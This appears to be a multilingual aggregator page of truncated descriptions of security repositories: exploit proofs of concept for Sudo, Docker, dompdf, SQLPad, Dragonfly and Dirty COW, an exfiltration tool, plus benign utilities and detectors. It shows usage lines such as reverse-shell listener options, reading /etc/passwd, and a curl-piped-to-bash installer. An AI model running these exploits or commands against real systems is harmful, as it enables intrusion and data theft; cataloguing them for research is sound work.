CVE-2021-3156-Heap-Based-Buffer-Overflow-in-Sudo-Baron-Samedit-

Qualys Security Advisory Baron Samedit: Heap-based buffer overflow in Sudo CVE-2021-3156 ======================================================================== Contents Summary Analysis Exploitation Acknowledgments Timeline =======================================================================...

docker_escape_pwn

Escape de Docker usando CVE-2017-1000112 y CVE-2017-18344. Incluyendo: obteniendo privilegios de root obtener todas las capabilities recuperación de namespaces recuperación del sistema de archivos bypass de limitaciones de cgroup bypass de seccomp...

CVE-2024-9047-PoC

脚本仅限用于授权系统检测，引用请注明出处。 更多PoC见 https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 批量检测： python poc.py -f url.txt 单个检测： python poc.py -u your-ip...

ghostlock-selinux-disabler

GhostLock Desactivador de SELinux Extracción de solo escritura 1 de JoinChang/ghostlock-oneplus para CVE-2026-43499. Desactiva SELinux enforcing en kernels OnePlus compatibles y vulnerables con un gestor de arranque bloqueado, y no hace nada más: sin sobrescritura de credenciales, sin shell root,...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343的Python利用 用于dompdf 2.0.1的分阶段反向Shell 基于：Positive Sec的文章 和 PoC 示例 root@kitploit: cve-2022-41343 10.10.16.3 44444 用法 root@kitploit: usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell回调IP地址/主机 port Shell回调端口 options: -h,...

CVE-2018-15473

CVE-2018-15473 SSH用户名枚举漏洞利用 OpenSSH 2.3 7.7 原始漏洞利用代码的编辑版本：https://www.exploit-db.com/exploits/45233 已转换为Python3 添加了用户名词表选项 如何运行 root@kitploit: Ensure that you install the requirements: foo@bar:$ pip3 install -r requirements.txt root@kitploit: For single username: foo@bar:$ ./CVE-2018-15473.py...

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username option...

uhubctl

uhubctl uhubctl es una utilidad para controlar la alimentación USB por puerto en concentradores USB inteligentes. Un concentrador inteligente se define como aquel que implementa conmutación de alimentación por puerto. La idea original de este código se inspiró en hub-ctrl.c de Niibe Yutaka:...

dump1090

Dump1090 README Dump 1090 es un decodificador de Modo S diseñado específicamente para dispositivos RTLSDR. Las principales características son: Decodificación robusta de mensajes débiles, con Dump1090 muchos usuarios observaron mayor alcance en comparación con otros decodificadores populares...

CVE-2019-16098

CVE-2019-16098 此 CVE 利用 RTCore64.sys 驱动程序，通过复制 System 进程的令牌到低权限的 cmd.exe 进程，从而创建一个拥有系统权限的 cmd.exe 进程。 关于此方法及原理的博客文章可点击此处查看。...

CVE-2021-33564

CVE-2021-33564 PoC Script de explotación para CVE-2021-33564 Inyección de argumentos en la gema Ruby Dragonfly. Uso Lectura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -r /etc/passwd Escritura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -w...

Escalamiento-de-Privilegios-usando-el-Kernel-Exploit-Dirty-Cow

Escalamiento de Privilegios con Dirty Cow CVE-2016-5195 Autor: Samuel García Academia: 4Geeks Academy Fecha: 25/06/2025 Descripción Dirty COW es una vulnerabilidad crítica del kernel Linux ≤ 4.8.3 que permite a un atacante local modificar archivos de solo lectura mediante una condición de carrera...

CVE-2026-46456

CVE-2026-46456 — Inyección de encabezados de atributos de mensajes entrantes en camel-aws2-sqs Reproducciones de prueba de concepto ejecutables para la misma vulnerabilidad de Apache Camel, una por runtime:...

zeek-quasarrat-detector

Un detector de malware QuasarRAT basado en Zeek El malware a menudo oculta las comunicaciones con su servidor de comando y control C2 a través de HTTPS. El cifrado en HTTPS normalmente oculta el compromiso el tiempo suficiente para que el malware logre su objetivo. Esto hace que detectar malware...

CVE-2021-40444

〖EXP〗Ladon CVE-2021-40444 Office漏洞复现 漏洞概述 北京时间9月8日，绿盟科技CERT监测到微软发布安全通告披露了Microsoft MSHTML 远程代码执行漏洞，攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码。微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。 MSHTML（又称为Trident）是微软旗下的Internet Explorer 浏览器引擎，也用于 Office 应用程序，以在...

dirtyclone-CVE-2026-43503

CVE-2026-43503 — DirtyClone Escalada local de privilegios en Linux. Un skbuff clonado pierde el indicador SKBFLSHAREDFRAG, por lo que el descifrado in-place de ESP escribe en memoria de page-cache respaldada por archivos. El PoC modifica /etc/passwd en caché para inyectar una cuenta uid-0 y...

DLPwn

DLPwn 通过蓝牙扬声器进行数据泄露防护 DLPwn 是一款红队工具，专为绕过安全系统（如 EDR（端点检测与响应）、XDR（扩展检测与响应）、DLP（数据泄露防护）以及更广泛的任何气隙信息系统）而设计的文件外传工具。它利用蓝牙音频传输将任意文件编码为 FLAC 音频信号，传输后在另一端解码，利用音频安全控制通常比网络或文件安全控制宽松这一事实。 工作原理 DLPwn 通过三个主要步骤运行： 1. 编码 ：将二进制文件转换为调制音频信号。 2. 捕获 ：通过蓝牙捕获传输的音频信号。 3. 解码 ：从捕获的信号重建原始文件。...

dawgmon

dawgmon - 道格走廊巡逻员 摘要 该工具的名称源自《南方公园》第10季第10集，其中卡特曼扮演“道格走廊巡逻员”在学校走廊巡逻。该工具用于帮助监控基于Linux的系统自上次运行以来发生的变化。 一种使用方式是使用诸如提供的示例cronjob定期运行dawgmon，并将结果通过电子邮件发送给系统管理员。这有助于识别正在发生恶意活动的机器，并监控谁在何处安装了什么。请注意，任何严重的内核后门都可以轻松隐藏自己不被该工具检测到，因此它只是工具箱中的额外工具之一，不应完全依赖它来进行Linux机器的全面安全监控。它只是工具箱中的又一个选项。...

subdomains.sh

subdomains.sh 一个用 Bash 编写的子域名枚举工具的封装脚本，用于自动化针对给定域名的子域名发现工作流程。 目录 工作流程 安装 使用方法 鸣谢 贡献 工作流程 安装 运行安装脚本： root@kitploit: curl -s https://raw.githubusercontent.com/hueristiq/subdomains.sh/main/install.sh | bash - 或者在使用一次性 Docker 容器中运行： 克隆仓库并运行 root@kitploit: cd subdomains.sh 构建容器镜像 ./docker-subdomains.s...

CVE-2024-3094

CVE-2024-3094 Credit: https://gist.github.com/Sn0w3y This script detects if it's likely that the ssh binary on a system is vulnerable to CVE-2024-3094. Unlike the detection script originally written by Vegard Nossum, this one doesn't use hexdump as it needs to be installed separately on most dist...